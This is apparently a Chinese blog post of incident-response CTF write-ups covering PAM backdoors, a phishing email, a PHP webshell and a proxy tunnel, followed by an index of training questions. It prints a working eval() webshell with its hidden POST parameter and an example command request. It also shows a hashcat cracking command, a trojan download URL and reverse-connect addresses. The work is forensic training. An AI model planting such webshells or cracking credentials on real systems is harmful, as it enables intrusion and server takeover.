关卡描述:黑客通过什么文件修改的root密码(绝对路径)

也是上一个题目的流量

将新密码写入/etc/passwd里

/etc/passwd

关卡描述:黑客设置的root密码是多少?

将上一题得到的密码用hashcat进行爆破

echo '$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..' > hash.txt

hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

123456

关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

靶机查看

202.1.1.129:9999

关卡描述:黑客通过后门反连执行的第一条命令是什么?

上一题知道了ip和端口，直接过滤源ip和端口

ip.src_host==202.1.1.129&&tcp.port==9999

第二个追踪流就是

rpm -qa | grep pam

关卡描述:黑客通过什么文件留下了后门?

没搞懂

pam_unix.so

关卡描述:黑客设置的后门密码是什么?

给了两个so文件，拿去ida分析，

pam_unix2.so文件（c了不会ida，这个wp写的也是不清楚找了半天也没找到搜也搜不到？

ssh_back_pwd

关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)

/tmp/.sshlog

钓鱼邮件

第七章常见攻击事件分析--钓鱼邮件

请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本 
   小张的公司最近遭到了钓鱼邮件攻击，多名员工的终端被控制做为跳板攻击了内网系统，请对钓鱼邮件样本和内网被攻陷的系统进行溯源分析，请根据小张备份的数据样本分析
请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本 请勿在本机运行恶意文件样本！！！！！

请分析获取黑客发送钓鱼邮件时使用的IP，flag格式： flag

文件：

notepad++打开eml文件，可以看到发送者的ip

顺序	Received 行	IP 地址	角色
第1个	`from mail.ffcs.cn (unknown[61.154.14.126])`	`61.154.14.126`	接收服务器（RichMail）
第2个	`from 127.0.0.1 by mail.ffcs.cn`	`127.0.0.1`	内部转发（可能是邮件扫描服务器）
第3个	`from unknown (HELO localhost) (ffnic@[127.0.0.1])`	`127.0.0.1`	邮件服务器内部处理
第4个	`X-Mailer: MagicMail WebMail (from: 121.204.224.15)`	`121.204.224.15`	实际发件人 IP

flag{121.204.224.15}

请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP，flag格式：flag

后面有一串很长的base64编码的字符串，拿去解码

是一个zip压缩包，保存打开，一个exe文件

先放着，感觉是病毒，eml文件拿去云沙箱检测

果然是木马

ip是107.16.111.57

flag{107.16.111.57}

黑客在被控服务器上创建了webshell，请分析获取webshell的文件名，请使用完整文件格式，flag格式：flag

D盾扫描文件目录

找到后门文件ReData.php，查看

if (isset($_POST['3q89xozo'])) {
	die(eval($_POST['3q89xozo']));
}

require('../../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码

恶意后门部分

if (isset($_POST['3q89xozo'])) {
    die(eval($_POST['3q89xozo']));
}

作用：
- 检查是否存在 POST 参数 3q89xozo（一个随机命名的隐藏参数，用于规避检测）。
- 如果存在，则 直接执行该参数中的 PHP 代码（通过 eval() 函数）。
- die() 确保执行后立即终止脚本，防止后续代码干扰。
危害：
- 攻击者可以通过 POST 请求发送任意 PHP 代码，如：
```
POST /vulnerable.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

3q89xozo=system('whoami');
```
- 服务器会执行 whoami 并返回结果，相当于 完全控制服务器。

伪装部分

require('../../data/common.inc.php');
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码

作用：
- 加载一个看似正常的配置文件（common.inc.php）。
- 初始化一个 userLogin 类（可能是伪装成合法登录逻辑）。
- 生成一个 md5 哈希值（$hashstr），可能是为了伪造 Session 或认证。
目的：
- 让代码看起来像正常业务逻辑，避免被管理员或安全工具发现。

flag{/var/www/html/admin/ebak/ReData.php}

flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道，请分析获取该隧道程序的文件名，请使用完整文件路径，flag格式：flag

这个看博客直接写的文件，应该是需要一个个找的，路径是/var/tmp/proc下的my.conf文件

攻击者修改my.conf文件进行了socks5代理

这段配置是 内网穿透/反向代理工具（如 frp、nps 或类似工具）的客户端配置文件，用于将本地服务暴露到公网

核心参数解析

参数	值/示例	作用
`server_addr`	`178.102.115.17:52329`	连接的服务端IP和端口，客户端通过此地址与服务器通信。
`conn_type`	`tcp`	传输协议类型（TCP/UDP/KCP等），这里使用TCP保证可靠传输。
`vkey`	`6bHW7m4SMvy`	验证密钥，客户端与服务端匹配的凭证（需与服务器配置一致）。
`auto_reconnection`	`true`	自动重连，网络中断后尝试重新连接服务器。
`max_conn`	`1000`	最大连接数限制，防止资源耗尽。
`flow_limit`	`1000`	流量限制（单位可能是KB/MB），控制带宽使用。
`rate_limit`	`1000`	速率限制（如1000请求/秒），防止高频请求攻击。

代理认证（注释部分）

# basic_username=11
# basic_password=3
# web_username=user
# web_password=1234

作用：
- 如果启用，访问代理服务（HTTP/SOCKS5）需输入用户名密码（如 basic_username:11 + basic_password:3）。
- web_username 和 web_password 可能是管理面板的登录凭据（如Web UI）。
当前状态：
- 已被注释（#），表示未启用认证，任何知道代理地址的人均可直接使用，存在安全风险！

这里交被修改的my.conf文件显示不对，需要交mysql，应该是因为问的是隧道程序

flag{/var/tmp/proc/mysql}

钓鱼事件应急

总结：云沙箱检测；ida分析程序；windows隐藏文件查看；抓包查看程序运行状态；7045事件id；4624事件id；端口转发规则查看

靶机名：钓鱼事件应急
靶机账号/密码：administrator/xj@123456

1、攻击者通过钓鱼攻击拿下来目标主机，请给出攻击者钓鱼使用的漏洞编号，flag格式:flag

桌面有漏洞通报，虽然看着是pdf后缀但其实是批处理文件，将整个rar放到沙箱里面进行检测（这里开始以为是分析里面的文件，然后发现提取出来的去分析一直感觉不对，真是浪费了好多时间）

flag{CVE-2023-38831}

2、给出钓鱼程序下载木马的地址，flag格式: flag

用ida分析rar压缩包里面的cmd文件，在main里面发现地址

http://192.168.229.156:7001/wls-wsat/7z.exeC:\\Users\\Administrator\\AppData\\Local\\Temp\\7z.exe

flag{http://192.168.229.156:7001/wls-wsat/7z.exe}

3、给出远控木马的小写md5，flag格式：flag

上一题分析得出了恶意文件在C:\\Users\\Administrator\\AppData\\Local\\Temp\\7z.exe，去查看发现目录里面没有，那就是隐藏了，用命令查看

dir /ah

计算md5值

flag{d1e11c3281072d11088e7b422ad52e6c}

4、给出远控木马程序的服务端IP：flag格式：flag

隐藏文件的运行就是在cmd直接用文件名运行，这里工具传输太慢了没来得及复现，用抓包工具wireshark进行抓包可以看到程序一直向一个ip发送请求

ip是192.168.229.136

flag{192.168.229.136}

5、给出攻击者在横向中上传的内网扫描工具位置，flag格式：flag

横向移动（Lateral Movement）是指攻击者在已经攻陷一台主机后，在内部网络中移动，尝试控制更多系统的手段

这里我也是没找到wp里面说的文件，wp是在c:/windows/temp里面找到的fscan.exe

flag{C:\Windows\Temp\fscan.exe}

6、给出攻击者在权限维持中创建的服务名称，flag格式:flag

过滤事件7045

事件ID 7045: "系统上安装新服务"

精确记录了服务创建的完整信息
包含服务名、执行路径、启动类型等关键数据
是服务安装的权威日志源

恶意软件常用手法：

创建恶意服务实现持久化
服务注入（使用svchost.exe加载恶意DLL）
伪装合法服务

flag{MysqlServer}

7、给出攻击者创建影子账户的名称，flag格式：flag

wmic useraccount get Name

或者在c盘用户的目录下面也是可以看到的

flag{hack$}

8、给出攻击者第一次成功远程登入系统的时间flag格式：flag

去事件查看器过滤4624事件id，一个个看，找到hack$登录的事件

flag{2024-09-22 13:15:11}

9、攻击者在横向中创建了一个端口转发规则，给出转发的目的IP地址和端口，flag格式:flag

查看所有端口转发规则

netsh interface portproxy show all

flag{10.10.10.103:3389}

posted @ 2025-05-10 19:25 Anaxa 阅读(180) 评论(0) 收藏举报

刷新页面返回顶部

一个菜鸡的博客

玄机的应急响应

Linux

第一章 应急响应-webshell查杀

总结：目录检索webshell特征文件；哥斯拉；隐藏文件；日志查找可疑文件；D盾判断免杀文件

第一章 应急响应-Linux日志分析

总结：日志文件分析爆破ip；过滤“Accepted”关键字来得到成功登录的ip；过滤语法

第一章 应急响应- Linux入侵排查

总结：检索php木马文件；D盾扫描；不死马分析；查看网络状态

第二章日志分析-apache日志分析

总结：过滤爆破ip次数；指纹浏览器；特定页面的访问次数；特定时间段访问次数

提交当天访问次数最多的IP，即黑客IP

黑客使用的浏览器指纹是什么，提交指纹的md5

查看包含index.php页面被访问的次数，提交次数

查看黑客IP访问了多少次，提交次数

查看2023年8月03日8时这一个小时内有多少IP访问，提交次数

第二章日志分析-mysql应急响应

总结：php文件查找；日志文件找反弹shell的ip；UDF提权；mysql的账号密码查找；用户自定义函数；mysql的secure_file_priv字段

黑客第一次写入的shell flag

黑客反弹shell的ip flag

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

黑客获取的权限 flag

第二章日志分析-redis应急响应

总结：redis数据库；redis的未授权访问；redis的主从复制；沙箱分析；计划任务；利用公私钥进行ssh连接；github查找公钥用户名；linux可执行命令目录/usr/bin

什么是redis

Redis 特点：

关于Redis的攻击手法有

黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

攻击复现

一、靶机（CentOS 7）配置 Redis

1. 安装 Redis

2. 修改 Redis 配置文件

3. 启动 Redis

二、攻击机（Kali）进行未授权访问检查

三、写入 SSH 公钥（免密码 root 登录）

1. Kali 生成密钥：

2. Kali 利用 Redis 写入公钥：

3. Kali SSH 登录靶机：

四、主从复制

连接

利用主从复制写文件（写 webshell 或写定时任务）

反弹shell

第三章 权限维持-linux权限维持-隐藏

总结：隐藏文件；反向shell后门程序；SUID位；第三方软件和应用程序目录/opt；Cymothoa后门工具；Exec值

1.黑客隐藏的隐藏的文件 完整路径md5

2.黑客隐藏的文件反弹shell的ip+端口

3.黑客提权所用的命令 完整路径的md5 flag

4.黑客尝试注入恶意代码的工具完整路径md5

5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag

第五章 linux实战-CMS01

总结：日志分析；宝塔面板；数据库；蚁剑流量；冰蝎流量

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});

通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;

flag1

第五章 linux实战-黑链

找到黑链添加在哪个文件 flag 格式 flag

webshell的绝对路径 flag

黑客注入黑链文件的 md5 md5sum file flag

攻击入口是哪里？url请求路径，最后面加/ flag

第六章-哥斯拉4.0流量分析

总结：哥斯拉流量解密；.so文件分析；IDA；dnslog

1、黑客的IP是什么？

2、黑客是通过什么漏洞进入服务器的？（提交CVE编号）

3、黑客上传的木马文件名是什么？(提交文件名)

4、黑客上传的木马连接密码是什么？

5、黑客上传的木马解密密钥是什么？

6、黑客连接webshell后执行的第一条命令是什么？

7、黑客连接webshell时查询当前shell的权限是什么？

8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么？

9、黑客利用webshell执行命令还查询并过滤了什么？（提交整条执行成功的命令）

10、黑客留下后门的反连的IP和PORT是什么？（IP:PORT)

第一章应急响应-webshell查杀

第一章应急响应-Linux日志分析

第一章应急响应- Linux入侵排查

第三章权限维持-linux权限维持-隐藏

1.黑客隐藏的隐藏的文件完整路径md5

3.黑客提权所用的命令完整路径的md5 flag

5.使用命令运行 ./x.xx 执行该文件将查询的 Exec****** 值作为flag提交 flag

通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码作为 FLAG 提交;

通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称作为 FLAG 提交;

第八章内存马分析-java01-nacos

shiro 的key为多少 shiro 的 key 请记录下来（请记录下来，会有用d）

尝试修复 nacos 并且自行用 poc 测试是否成功此题无flag

第八章内存马分析-java02-shiro

第八章内存马分析-java03-fastjson

清理内纯马（热清理）

清理后门（热清理）